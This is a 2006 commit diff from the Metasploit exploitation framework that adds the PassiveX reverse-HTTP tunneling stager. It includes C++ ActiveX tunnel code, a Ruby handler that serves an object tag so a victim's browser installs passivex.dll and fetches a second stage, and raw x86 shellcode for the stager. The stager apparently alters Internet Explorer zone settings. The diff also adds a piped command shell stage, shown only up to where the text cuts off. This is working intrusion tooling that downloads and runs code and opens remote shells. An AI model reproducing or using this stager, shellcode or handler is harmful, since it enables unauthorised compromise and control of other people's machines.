various enhancements to support passivex, seems to be functional, somewhat

git-svn-id: file:///home/svn/incoming/trunk@3322 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Matt Miller 2006-01-07 10:04:30 +00:00
parent daf5eebd28
commit ae5c816e85
21 changed files with 787 additions and 27 deletions

Binary file not shown.

View File

@ -52,6 +52,34 @@ HRESULT CPassiveX::put_HttpHost(BSTR Host)
return S_OK; return S_OK;
} }
HRESULT CPassiveX::get_HttpSid(BSTR *Sid)
{
*Sid = PropHttpSid;
return S_OK;
}
HRESULT CPassiveX::put_HttpSid(BSTR Sid)
{
PropHttpSid = Sid;
return S_OK;
}
HRESULT CPassiveX::get_HttpUriBase(BSTR *UriBase)
{
*UriBase = PropHttpUriBase;
return S_OK;
}
HRESULT CPassiveX::put_HttpUriBase(BSTR UriBase)
{
PropHttpUriBase = UriBase;
return S_OK;
}
HRESULT CPassiveX::get_HttpPort(ULONG *Port) HRESULT CPassiveX::get_HttpPort(ULONG *Port)
{ {
*Port = PropHttpPort; *Port = PropHttpPort;
@ -159,6 +187,8 @@ VOID CPassiveX::Initialize()
{ {
Tunnel.Start( Tunnel.Start(
OLE2A(PropHttpHost), OLE2A(PropHttpHost),
OLE2A(PropHttpUriBase),
OLE2A(PropHttpSid),
(USHORT)PropHttpPort); (USHORT)PropHttpPort);
} }

View File

@ -73,6 +73,8 @@ class ATL_NO_VTABLE CPassiveX :
BEGIN_PROPERTY_MAP(CPassiveX) BEGIN_PROPERTY_MAP(CPassiveX)
PROP_ENTRY("HttpHost", PASSIVEX_PROPERTY_HTTP_HOST, CLSID_NULL) PROP_ENTRY("HttpHost", PASSIVEX_PROPERTY_HTTP_HOST, CLSID_NULL)
PROP_ENTRY("HttpPort", PASSIVEX_PROPERTY_HTTP_PORT, CLSID_NULL) PROP_ENTRY("HttpPort", PASSIVEX_PROPERTY_HTTP_PORT, CLSID_NULL)
PROP_ENTRY("HttpSid", PASSIVEX_PROPERTY_HTTP_SID, CLSID_NULL)
PROP_ENTRY("HttpUriBase", PASSIVEX_PROPERTY_HTTP_URI_BASE, CLSID_NULL)
PROP_ENTRY("DownloadSecondStage", PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE, CLSID_NULL) PROP_ENTRY("DownloadSecondStage", PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE, CLSID_NULL)
END_PROPERTY_MAP() END_PROPERTY_MAP()
@ -82,6 +84,10 @@ class ATL_NO_VTABLE CPassiveX :
// IPassiveX // IPassiveX
STDMETHOD(get_HttpHost)(BSTR *Host); STDMETHOD(get_HttpHost)(BSTR *Host);
STDMETHOD(put_HttpHost)(BSTR Host); STDMETHOD(put_HttpHost)(BSTR Host);
STDMETHOD(get_HttpSid)(BSTR *Sid);
STDMETHOD(put_HttpSid)(BSTR Sid);
STDMETHOD(get_HttpUriBase)(BSTR *UriBase);
STDMETHOD(put_HttpUriBase)(BSTR UriBase);
STDMETHOD(get_HttpPort)(ULONG *Port); STDMETHOD(get_HttpPort)(ULONG *Port);
STDMETHOD(put_HttpPort)(ULONG Port); STDMETHOD(put_HttpPort)(ULONG Port);
STDMETHOD(get_DownloadSecondStage)(ULONG *Port); STDMETHOD(get_DownloadSecondStage)(ULONG *Port);
@ -105,6 +111,8 @@ class ATL_NO_VTABLE CPassiveX :
// Properties // Properties
CComBSTR PropHttpHost; CComBSTR PropHttpHost;
CComBSTR PropHttpSid;
CComBSTR PropHttpUriBase;
ULONG PropHttpPort; ULONG PropHttpPort;
// Tunnel // Tunnel

View File

@ -11,6 +11,8 @@ static DWORD FailedConnections = 0;
HttpTunnel::HttpTunnel() HttpTunnel::HttpTunnel()
: HttpHost(NULL), : HttpHost(NULL),
HttpUriBase(NULL),
HttpSid(NULL),
HttpPort(0), HttpPort(0),
LocalTcpListener(0), LocalTcpListener(0),
LocalTcpClientSide(0), LocalTcpClientSide(0),
@ -43,6 +45,8 @@ HttpTunnel::~HttpTunnel()
*/ */
DWORD HttpTunnel::Start( DWORD HttpTunnel::Start(
IN LPSTR InHttpHost, IN LPSTR InHttpHost,
IN LPSTR InHttpUriBase,
IN LPSTR InHttpSid,
IN USHORT InHttpPort) IN USHORT InHttpPort)
{ {
DWORD ThreadId; DWORD ThreadId;
@ -57,6 +61,28 @@ DWORD HttpTunnel::Start(
break; break;
} }
if ((InHttpSid) &&
(InHttpSid[0]) &&
(!(HttpSid = strdup(InHttpSid))))
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
if ((InHttpUriBase) &&
(InHttpUriBase[0]) &&
(!(HttpUriBase = strdup(InHttpUriBase))))
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Eliminate any trailing slashes as to prevent potential problems. If
// HttpUriBase is just "/", then it'll become virtuall unused.
if ((HttpUriBase) &&
(HttpUriBase[strlen(HttpUriBase) - 1] == '/'))
HttpUriBase[strlen(HttpUriBase) - 1] = 0;
HttpPort = InHttpPort; HttpPort = InHttpPort;
// Acquire the internet context handle // Acquire the internet context handle
@ -407,6 +433,18 @@ DWORD HttpTunnel::TransmitHttpRequest(
UCHAR ReadBuffer[8192]; UCHAR ReadBuffer[8192];
DWORD ReadBufferLength; DWORD ReadBufferLength;
DWORD Result = ERROR_SUCCESS; DWORD Result = ERROR_SUCCESS;
PCHAR AdditionalHeaders = NULL;
CHAR FullUri[1024];
// Construct the full URI
if (HttpUriBase && HttpUriBase[0])
_snprintf(FullUri, sizeof(FullUri) - 1,
"%s/%s",
HttpUriBase, Uri);
else
strncpy(FullUri, Uri, sizeof(FullUri) - 1);
FullUri[sizeof(FullUri) - 1] = 0;
do do
{ {
@ -443,7 +481,7 @@ DWORD HttpTunnel::TransmitHttpRequest(
if (!(RequestHandle = HttpOpenRequest( if (!(RequestHandle = HttpOpenRequest(
ConnectHandle, ConnectHandle,
Method ? Method : TEXT("GET"), Method ? Method : TEXT("GET"),
Uri, FullUri,
NULL, NULL,
NULL, NULL,
NULL, NULL,
@ -454,6 +492,17 @@ DWORD HttpTunnel::TransmitHttpRequest(
Result = GetLastError(); Result = GetLastError();
break; break;
} }
// If we were assigned an HTTP session identifier, then allocate an
// additional header for transmission to the remote side.
if (HttpSid)
{
// Yeah, I'm lame, this is easy to sig. Improve me if you care!
if ((AdditionalHeaders = (PCHAR)malloc(strlen(HttpSid) + 32)))
sprintf(AdditionalHeaders,
"X-Sid: sid=%s\r\n",
HttpSid);
}
PROFILE_CHECKPOINT("HttpOpenRequest <=="); PROFILE_CHECKPOINT("HttpOpenRequest <==");
PROFILE_CHECKPOINT("HttpSendRequest ==>"); PROFILE_CHECKPOINT("HttpSendRequest ==>");
@ -461,8 +510,8 @@ DWORD HttpTunnel::TransmitHttpRequest(
// Send and endthe request // Send and endthe request
if ((!HttpSendRequest( if ((!HttpSendRequest(
RequestHandle, RequestHandle,
NULL, AdditionalHeaders,
0, (AdditionalHeaders) ? -1L : 0,
RequestPayload, RequestPayload,
RequestPayloadLength))) RequestPayloadLength)))
{ {
@ -561,6 +610,8 @@ DWORD HttpTunnel::TransmitHttpRequest(
if (ConnectHandle) if (ConnectHandle)
InternetCloseHandle( InternetCloseHandle(
ConnectHandle); ConnectHandle);
if (AdditionalHeaders)
free(AdditionalHeaders);
// Set the output pointers or free up the output buffer // Set the output pointers or free up the output buffer
if (Result == ERROR_SUCCESS) if (Result == ERROR_SUCCESS)

View File

@ -27,6 +27,8 @@ class HttpTunnel
// Initialization // Initialization
DWORD Start( DWORD Start(
IN LPSTR HttpHost, IN LPSTR HttpHost,
IN LPSTR HttpUriBase,
IN LPSTR HttpSid,
IN USHORT HttpPort); IN USHORT HttpPort);
DWORD Stop(); DWORD Stop();
protected: protected:
@ -71,6 +73,8 @@ class HttpTunnel
// Remote host information // Remote host information
LPSTR HttpHost; LPSTR HttpHost;
LPSTR HttpUriBase;
LPSTR HttpSid;
USHORT HttpPort; USHORT HttpPort;
// Sockets // Sockets

View File

@ -5,6 +5,8 @@ enum PassiveXProperties
{ {
PASSIVEX_PROPERTY_HTTP_HOST = 1, PASSIVEX_PROPERTY_HTTP_HOST = 1,
PASSIVEX_PROPERTY_HTTP_PORT = 2, PASSIVEX_PROPERTY_HTTP_PORT = 2,
PASSIVEX_PROPERTY_HTTP_SID = 4,
PASSIVEX_PROPERTY_HTTP_URI_BASE = 5,
PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE = 3, PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE = 3,
}; };
@ -19,6 +21,10 @@ interface IPassiveX : IDispatch
{ {
[propput, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([in] BSTR host); [propput, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([in] BSTR host);
[propget, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([out, retval] BSTR *host); [propget, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([out, retval] BSTR *host);
[propput, id(PASSIVEX_PROPERTY_HTTP_SID)] HRESULT HttpSid([in] BSTR sid);
[propget, id(PASSIVEX_PROPERTY_HTTP_SID)] HRESULT HttpSid([out, retval] BSTR *sid);
[propput, id(PASSIVEX_PROPERTY_HTTP_URI_BASE)] HRESULT HttpUriBase([in] BSTR base);
[propget, id(PASSIVEX_PROPERTY_HTTP_URI_BASE)] HRESULT HttpUriBase([out, retval] BSTR *base);
[propput, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([in] ULONG port); [propput, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([in] ULONG port);
[propget, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([out, retval] ULONG *port); [propget, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([out, retval] ULONG *port);
[propput, id(PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE)] HRESULT DownloadSecondStage([in] ULONG na); [propput, id(PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE)] HRESULT DownloadSecondStage([in] ULONG na);

View File

@ -68,8 +68,8 @@ IDR_PASSIVEX REGISTRY DISCARDABLE "PassiveX.bin"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,0 FILEVERSION 3,0,0,0
PRODUCTVERSION 1,0,0,0 PRODUCTVERSION 3,0,0,0
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
FILEFLAGS 0x1L FILEFLAGS 0x1L
@ -87,14 +87,14 @@ BEGIN
VALUE "Comments", "\0" VALUE "Comments", "\0"
VALUE "CompanyName", "Metasploit\0" VALUE "CompanyName", "Metasploit\0"
VALUE "FileDescription", "PassiveX HTTP Tunneling Stager\0" VALUE "FileDescription", "PassiveX HTTP Tunneling Stager\0"
VALUE "FileVersion", "1, 0, 0, 0\0" VALUE "FileVersion", "3, 0, 0, 0\0"
VALUE "InternalName", "PassiveX\0" VALUE "InternalName", "PassiveX\0"
VALUE "LegalCopyright", "Copyright © 2005 Metasploit\0" VALUE "LegalCopyright", "Copyright © 2005 Metasploit\0"
VALUE "LegalTrademarks", "\0" VALUE "LegalTrademarks", "\0"
VALUE "OriginalFilename", "PassiveX.dll\0" VALUE "OriginalFilename", "PassiveX.dll\0"
VALUE "PrivateBuild", "\0" VALUE "PrivateBuild", "\0"
VALUE "ProductName", "Metasploit\0" VALUE "ProductName", "Metasploit\0"
VALUE "ProductVersion", "1, 0, 0, 0\0" VALUE "ProductVersion", "3, 0, 0, 0\0"
VALUE "SpecialBuild", "\0" VALUE "SpecialBuild", "\0"
END END
END END

View File

@ -187,6 +187,8 @@ protected
rescue ::Exception rescue ::Exception
elog("Exploit failed: #{$!}", 'core', LEV_0) elog("Exploit failed: #{$!}", 'core', LEV_0)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
payload.stop_handler payload.stop_handler
exploit.cleanup exploit.cleanup

View File

@ -0,0 +1,389 @@
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
module Msf
module Handler
###
#
# This handler implements the PassiveX reverse HTTP tunneling interface.
#
###
module PassiveX
include Msf::Handler
###
#
# This class wrappers the communication channel built over the HTTP
# communication protocol between a local session and the remote HTTP
# client.
#
###
class PxSessionChannel
include Rex::IO::StreamAbstraction
def initialize(sid)
@sid = sid
@remote_queue = ''
initialize_abstraction
# Start a thread that monitors the local side of the pipe and writes
# data from it to the remote side.
@monitor_thread = Thread.new {
begin
while true
if ((rsock.has_read_data?) and
(buf = rsock.get))
write_remote(buf)
end
end
rescue ::Exception
end
}
end
#
# Closes the stream abstraction and kills the monitor thread.
#
def close
@monitor_thread.kill if (@monitor_thread)
@monitor_thread = nil
cleanup_abstraction
end
#
# Sets the remote HTTP client that is to be used for tunneling output
# data to the client side.
#
def remote=(cli)
# If we already have a remote, then close it now that we have a new
# one.
if (@remote)
begin
@remote.server.close_client(@remote)
rescue ::Exception
end
end
@remote = cli
flush_output
end
#
# Writes data to the local side of the abstraction that comes in from
# the remote.
#
def write_local(buf)
rsock.put(buf)
end
#
# Writes data to the remote HTTP client via an indirect queue.
#
def write_remote(buf)
@remote_queue += buf
flush_output
end
#
# Flushes the output queue if there is an associated output HTTP client.
#
def flush_output
return if (@remote_queue == nil or @remote_queue.length == 0)
resp = Rex::Proto::Http::Response.new
resp.body = @remote_queue
begin
if (@remote)
@remote.send_response(resp)
@remote = nil
@remote_queue = ''
end
rescue ::Exception
end
end
end
#
# A PassiveX mixin that is used to extend the Msf::Session class in order
# to add a reference to the payload handler that created the session in a
# guaranteed fashion. In turn, the cleanup routine for the session is
# modified to call deref_handler on the payload handler if it's defined.
# This is done to ensure that the tunneling handler stays running while
# there are sessions that still have references to it.
#
module PxSession
def payload_handler=(p)
@payload_handler = p
end
def cleanup
super
@payload_handler.deref_handler if (@payload_handler)
end
end
#
# Class for wrapping reference counting a specific object for passivex.
#
class PxRef
def initialize
refinit
end
include Rex::Ref
end
#
# Returns the string representation of the handler type, in this case
# 'reverse_http'.
#
def self.handler_type
return "reverse_http"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
#
# Initializes the PassiveX HTTP tunneling handler.
#
def initialize(info = {})
super
register_options(
[
OptAddress.new('PXHOST', [ true, "The local HTTP listener hostname" ]),
OptPort.new('PXPORT', [ true, "The local HTTP listener port", 8080 ]),
OptString.new('PXURI', [ true, "The URI root for requests", "/" ]),
OptPath.new('PXAXDLL', [ true, "ActiveX DLL to inject", File.join(Msf::Config.install_root, "data", "passivex", "passivex.dll") ]),
OptString.new('PXAXCLSID', [ true, "ActiveX CLSID", "B3AC7307-FEAE-4e43-B2D6-161E68ABA838" ]),
OptString.new('PXAXVER', [ true, "ActiveX DLL Version", "-1,-1,-1,-1" ]),
], Msf::Handler::PassiveX)
# Initialize the start of the localized SID pool
self.sid_pool = 0
self.session_channels = Hash.new
self.handler_ref = PxRef.new
end
#
# Create an HTTP listener that will be connected to and communicated with
# by the payload that is injected, and possibly used for tunneling
# purposes.
#
def setup_handler
# Start the HTTP server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
datastore['PXPORT'].to_i, datastore['PXHOST'])
# Add the new resource
service.add_resource(datastore['PXURI'],
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
'VirtualDirectory' => true)
dlog("PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}", 'core', LEV_2)
print_status("PassiveX listener started.")
end
#
# Simply calls stop handler to ensure that things ar ecool.
#
def cleanup_handler
end
#
# Basically does nothing. The service is already started and listening
# during set up.
#
def start_handler
end
#
# Stops the service and deinitializes it.
#
def stop_handler
deref_handler
end
#
# PassiveX payloads have a wait-for-session delay of 30 seconds minimum
# because it can take a bit of time for the OCX to get registered.
#
def wfs_delay
30
end
#
# Called when a new session is created on behalf of this handler. In this
# case, we extend the session so that we can track references to the
# handler since we need to keep the HTTP tunnel up while the session is
# alive.
#
def on_session(session)
super
# Extend the session, increment handler references, and set up the
# session payload handler.
session.extend(PxSession)
handler_ref.ref
session.payload_handler = self
end
#
# Decrement the references to the handler that was used by this exploit.
# If it reaches zero, stop it.
#
def deref_handler
if (handler_ref.deref)
if (service)
Rex::ServiceManager.stop_service(service)
self.service.deref
self.service = nil
print_status("PassiveX listener stopped.")
end
flush_session_channels
end
end
protected
attr_accessor :service # :nodoc:
attr_accessor :sid_pool # :nodoc:
attr_accessor :session_channels # :nodoc:
attr_accessor :handler_ref # :nodoc:
#
# Processes the HTTP request from the PassiveX client. In this case, when
# a request is made to "/", an HTML body is sent that has an embedded
# object tag. This causes the passivex.dll to be downloaded and
# registered (since registration and downloading have been enabled prior to
# this point). After that, the OCX may create a tunnel or download a
# second stage if instructed by the server.
#
def on_request(cli, req)
sid = nil
resp = Rex::Proto::Http::Response.new
# Grab the SID if one was supplied in the request header.
if (req['X-Sid'] and
(m = req['X-Sid'].match(/sid=(\d+?)/)))
sid = m[1]
end
# Process the requested resource.
case req.relative_resource
when "/"
# Get a new sid
self.sid_pool += 1
nsid = sid_pool
resp['Content-Type'] = 'text/html'
resp.body =
"<html>" +
" <object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"passivex.dll##{datastore['PXAXVER']}\">" +
" <param name=\"HttpHost\" value=\"#{datastore['PXHOST']}\">" +
" <param name=\"HttpPort\" value=\"#{datastore['PXPORT']}\">" +
" <param name=\"HttpUriBase\" value=\"#{datastore['PXURI']}\">" +
" <param name=\"HttpSid\" value=\"#{nsid}\">" +
((stage_payload) ?
" <param name=\"DownloadSecondStage\" value=\"1\">" : "") +
" </object>" +
"</html>"
# Create a new local PX session with the supplied sid
new_session_channel(nsid)
print_status("Sending PassiveX main page to client")
when "/passivex.dll"
resp['Content-Type'] = 'application/octet-stream'
resp.body = IO.readlines(datastore['PXAXDLL']).join
print_status("Sending PassiveX DLL (#{resp.body.length} bytes)")
when "/stage"
resp.body = generate_stage
# Now that we've transmitted a second stage, it's time to indicate
# that we've found a new session. We call handle_connection using
# the lsock of the local stream.
if (s = find_session_channel(sid))
Thread.new {
begin
handle_connection(s.lsock)
rescue ::Exception
elog("Exception raised during PX handle connection: #{$!}", 'core', LEV_1)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
end
}
end
print_status("Sending second stage (#{resp.body.length} bytes to sid: #{sid}")
when "/tunnel_in"
s.write_local(req.body) if (s = find_session_channel(sid))
when "/tunnel_out"
cli.keepalive = true
resp = nil
s.remote = cli if (s = find_session_channel(sid))
else
resp.code = 404
resp.message = "Not found"
end
cli.send_response(resp) if (resp)
end
#
# Creates a new session with the supplied sid.
#
def new_session_channel(sid)
self.session_channels[sid.to_i] = PxSessionChannel.new(sid)
end
#
# Finds a session based on the supplied sid
#
def find_session_channel(sid)
session_channels[sid.to_i]
end
#
# Flushes all existing session_channels and cleans up any resources associated with
# them.
#
def flush_session_channels
session_channels.each_pair { |sid, session|
session.close
}
session_channels = Hash.new
end
end
end
end

View File

@ -43,9 +43,17 @@ module Msf::Payload::Stager
end end
# #
# Transmit the associated stage. # Whether or not any stages associated with this stager should be sent over
# the connection that is established.
# #
def handle_connection(conn) def stage_over_connection?
true
end
#
# Generates the stage payload and substitutes all offsets.
#
def generate_stage
p = stage_payload.dup p = stage_payload.dup
# Substitute variables in the stage # Substitute variables in the stage
@ -53,11 +61,24 @@ module Msf::Payload::Stager
# Prefix to the stage with whatever may be required and then rock it. # Prefix to the stage with whatever may be required and then rock it.
p = (self.stage_prefix || '') + p p = (self.stage_prefix || '') + p
print_status("Sending stage (#{p.length} bytes)")
# Send the stage return p
conn.put(p) end
#
# Transmit the associated stage.
#
def handle_connection(conn)
# If the stage should be sent over the client connection that is
# established (which is the default), then go ahead and transmit it.
if (stage_over_connection?)
p = generate_stage
print_status("Sending stage (#{p.length} bytes)")
# Send the stage
conn.put(p)
end
# If the stage implements the handle connection method, sleep before # If the stage implements the handle connection method, sleep before
# handling it. # handling it.

View File

@ -598,6 +598,8 @@ class Core
end end
end end
rescue IOError, EOFError, Rex::StreamClosedError
print_status("Session stream closed.")
rescue rescue
log_error("Session manipulation failed: #{$!}") log_error("Session manipulation failed: #{$!}")
end end

View File

@ -13,6 +13,35 @@ module IO
### ###
module StreamAbstraction module StreamAbstraction
###
#
# Extension information for required Stream interface.
#
###
module Ext
#
# Initializes peer information.
#
def initinfo(peer)
@peer = peer
end
#
# Symbolic peer information.
#
def peerinfo
(@peer || "Remote Pipe") + " (HTTP)"
end
#
# Symbolic local information.
#
def localinfo
"Local Pipe (HTTP)"
end
end
# #
# This method creates a streaming socket pair and initializes it. # This method creates a streaming socket pair and initializes it.
# #
@ -21,6 +50,7 @@ module StreamAbstraction
::Socket::SOCK_STREAM, 0) ::Socket::SOCK_STREAM, 0)
self.lsock.extend(Rex::IO::Stream) self.lsock.extend(Rex::IO::Stream)
self.lsock.extend(Ext)
self.rsock.extend(Rex::IO::Stream) self.rsock.extend(Rex::IO::Stream)
end end
@ -35,6 +65,48 @@ module StreamAbstraction
self.rsock = nil self.rsock = nil
end end
#
# Writes to the local side.
#
def syswrite(buffer)
lsock.syswrite(buffer)
end
#
# Reads from the local side.
#
def sysread(length)
lsock.sysread(length)
end
#
# Shuts down the local side of the stream abstraction.
#
def shutdown(how)
lsock.shutdown(how)
end
#
# Closes both sides of the stream abstraction.
#
def close
cleanup_abstraction
end
#
# Symbolic peer information.
#
def peerinfo
"Remote-side of Pipe"
end
#
# Symbolic local information.
#
def localinfo
"Local-side of Pipe"
end
# #
# The left side of the stream. # The left side of the stream.
# #

View File

@ -27,6 +27,13 @@ class Handler
false false
end end
#
# Calls the class method.
#
def relative_resource_required?
self.class.relative_resource_required?
end
protected protected
attr_accessor :server # :nodoc: attr_accessor :server # :nodoc:

View File

@ -15,10 +15,18 @@ class Handler::Proc < Handler
# #
# Initializes the proc handler with the supplied procedure # Initializes the proc handler with the supplied procedure
# #
def initialize(server, procedure) def initialize(server, procedure, virt_dir = false)
super(server) super(server)
self.procedure = procedure self.procedure = procedure
self.virt_dir = virt_dir || false
end
#
# Returns true if the procedure is representing a virtual directory.
#
def relative_resource_required?
virt_dir
end end
# #
@ -35,6 +43,7 @@ class Handler::Proc < Handler
protected protected
attr_accessor :procedure # :nodoc: attr_accessor :procedure # :nodoc:
attr_accessor :virt_dir # :nodoc:
end end

View File

@ -103,7 +103,6 @@ class Server
self.listen_host = listen_host self.listen_host = listen_host
self.listen_port = port self.listen_port = port
self.listener = nil self.listener = nil
self.server_name = DefaultServer
self.resources = {} self.resources = {}
end end
@ -179,7 +178,7 @@ class Server
# If a procedure was passed, mount the resource with it. # If a procedure was passed, mount the resource with it.
if (opts['Proc']) if (opts['Proc'])
mount(name, Handler::Proc, false, opts['Proc']) mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory'])
else else
raise ArgumentError, "You must specify a procedure." raise ArgumentError, "You must specify a procedure."
end end
@ -196,7 +195,7 @@ class Server
# Adds Server headers and stuff. # Adds Server headers and stuff.
# #
def add_response_headers(resp) def add_response_headers(resp)
resp['Server'] = self.server_name resp['Server'] = DefaultServer
end end
# #
@ -234,11 +233,6 @@ class Server
end end
attr_accessor :listen_port, :listen_host attr_accessor :listen_port, :listen_host
#
# Server name used by this servier instance
#
attr_accessor :server_name
protected protected
@ -306,7 +300,7 @@ protected
handler = p[0].new(self, *p[2]) handler = p[0].new(self, *p[2])
# If the handler class requires a relative resource... # If the handler class requires a relative resource...
if (p[0].relative_resource_required?) if (handler.relative_resource_required?)
# Substituted the mount point root in the request to make things # Substituted the mount point root in the request to make things
# relative to the mount point. # relative to the mount point.
request.relative_resource = request.resource.gsub(/^#{root}/, '') request.relative_resource = request.resource.gsub(/^#{root}/, '')
@ -335,7 +329,6 @@ protected
close_client(cli) close_client(cli)
end end
end end
end end

View File

@ -79,8 +79,6 @@ class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote
gets gets
end end
sock.get
handler handler
end end

View File

@ -21,6 +21,7 @@ module BindTcp
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp, 'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi', 'Convention' => 'sockedi',
'SymbolLookup' => 'ebp',
'Stager' => 'Stager' =>
{ {
'Offsets' => 'Offsets' =>

View File

@ -0,0 +1,97 @@
require 'msf/core'
require 'msf/core/handler/passivex'
module Msf
module Payloads
module Stagers
module Windows
module PassiveX
include Msf::Payload::Stager
include Msf::Payload::Windows
def initialize(info = {})
super(merge_info(info,
'Name' => 'PassiveX Stager',
'Version' => '$Revision$',
'Description' => 'Tunnel communication over HTTP',
'Author' => 'skape',
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::PassiveX,
'Convention' => 'sockedi',
'Stager' =>
{
'Offsets' =>
{
'EXITFUNC' => [ 244, 'V' ],
},
'Payload' =>
"\xfc\xe8\x77\x00\x00\x00\x53\x6f\x66\x74\x77\x61\x72\x65\x5c\x4d" +
"\x69\x63\x72\x6f\x73\x6f\x66\x74\x5c\x57\x69\x6e\x64\x6f\x77\x73" +
"\x5c\x43\x75\x72\x72\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x5c" +
"\x49\x6e\x74\x65\x72\x6e\x65\x74\x20\x53\x65\x74\x74\x69\x6e\x67" +
"\x73\x5c\x5a\x6f\x6e\x65\x73\x5c\x33\x00\x31\x30\x30\x34\x31\x32" +
"\x30\x30\x31\x32\x30\x31\x31\x30\x30\x31\x43\x3a\x5c\x70\x72\x6f" +
"\x67\x72\x61\x7e\x31\x5c\x69\x6e\x74\x65\x72\x6e\x7e\x31\x5c\x69" +
"\x65\x78\x70\x6c\x6f\x72\x65\x20\x2d\x6e\x65\x77\x00\xe8\x4e\x00" +
"\x00\x00\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" +
"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee" +
"\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b" +
"\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f" +
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2\x08\x00" +
"\x5f\x5b\x31\xd2\x64\x8b\x42\x30\x85\xc0\x78\x0c\x8b\x40\x0c\x8b" +
"\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x83\xc0\x7c\x8b\x40" +
"\x3c\x89\xe5\x68\x7e\xd8\xe2\x73\x50\x68\x72\xfe\xb3\x16\x50\x68" +
"\x8e\x4e\x0e\xec\x50\xff\xd7\x96\xff\xd7\x89\x45\x00\xff\xd7\x89" +
"\x45\x04\x52\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\xff\xd6" +
"\x68\xa9\x2b\x92\x02\x50\x68\xdd\x9a\x1c\x2d\x50\xff\xd7\x89\x45" +
"\x08\xff\xd7\x97\x87\xf3\x54\x56\x68\x01\x00\x00\x80\xff\xd7\x5b" +
"\x83\xc6\x44\x50\x89\xe7\x80\x3e\x43\x74\x1b\x50\xad\x50\x89\xe0" +
"\x6a\x04\x57\x6a\x04\x6a\x00\x50\x53\xff\x55\x08\xeb\xe8\x8a\x0d" +
"\x30\x00\xfe\x7f\x88\x0e\x6a\x54\x59\x29\xcc\x89\xe7\x57\xf3\xaa" +
"\x5f\xc6\x07\x44\xfe\x47\x2c\xfe\x47\x2d\x68\x75\x6c\x74\x00\x68" +
"\x44\x65\x66\x61\x68\x74\x61\x30\x5c\x68\x57\x69\x6e\x53\x89\x67" +
"\x08\x8d\x5f\x44\x53\x57\x50\x50\x6a\x10\x50\x50\x50\x56\x50\xff" +
"\x55\x00\xff\x55\x04"
}
))
end
#
# Do not transmit the stage over the connection. We send the stage via an
# HTTP request.
#
def stage_over_connection?
false
end
def generate
# Generate the payload
p = super
# Construct the full URL that will be embedded in the payload. The uri
# attribute is derived from the value that will have been set by the
# passivex handler.
url = " http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI'] || '/'}"
# Get the find function offset
off = p[2, 4].unpack('V')[0]
# Update the offset to include the length of the URL
p[2, 4] = [ off + url.length ].pack('V')
# Adjust the true offset by five
off += 5
# Insert the URL into the payload
p = p[0, off] + url + p[off .. -1]
# Return the updated payload
return p
end
end
end end end end

View File

@ -21,6 +21,7 @@ module ReverseTcp
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp, 'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi', 'Convention' => 'sockedi',
'SymbolLookup' => 'ebp',
'Stager' => 'Stager' =>
{ {
'Offsets' => 'Offsets' =>

View File

@ -0,0 +1,68 @@
require 'msf/core'
module Msf
module Payloads
module Stages
module Windows
module PipeShell
include Msf::Payload::Windows
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Piped Command Shell',
'Version' => '$Revision$',
'Description' => 'Spawn a piped command shell',
'Author' => 'spoonm',
'Platform' => 'win',
'Arch' => ARCH_X86,
'Session' => Msf::Sessions::CommandShell,
'PayloadCompat' =>
{
'Convention' => 'sockedi'
},
'Stage' =>
{
'Offsets' =>
{
'EXITFUNC' => [ 443, 'V' ]
},
'Payload' =>
"\x68\x33\x32\x00\x00\x68\x57\x53\x32\x5f\x57\xfc\xe8\x4c\x00\x00"+
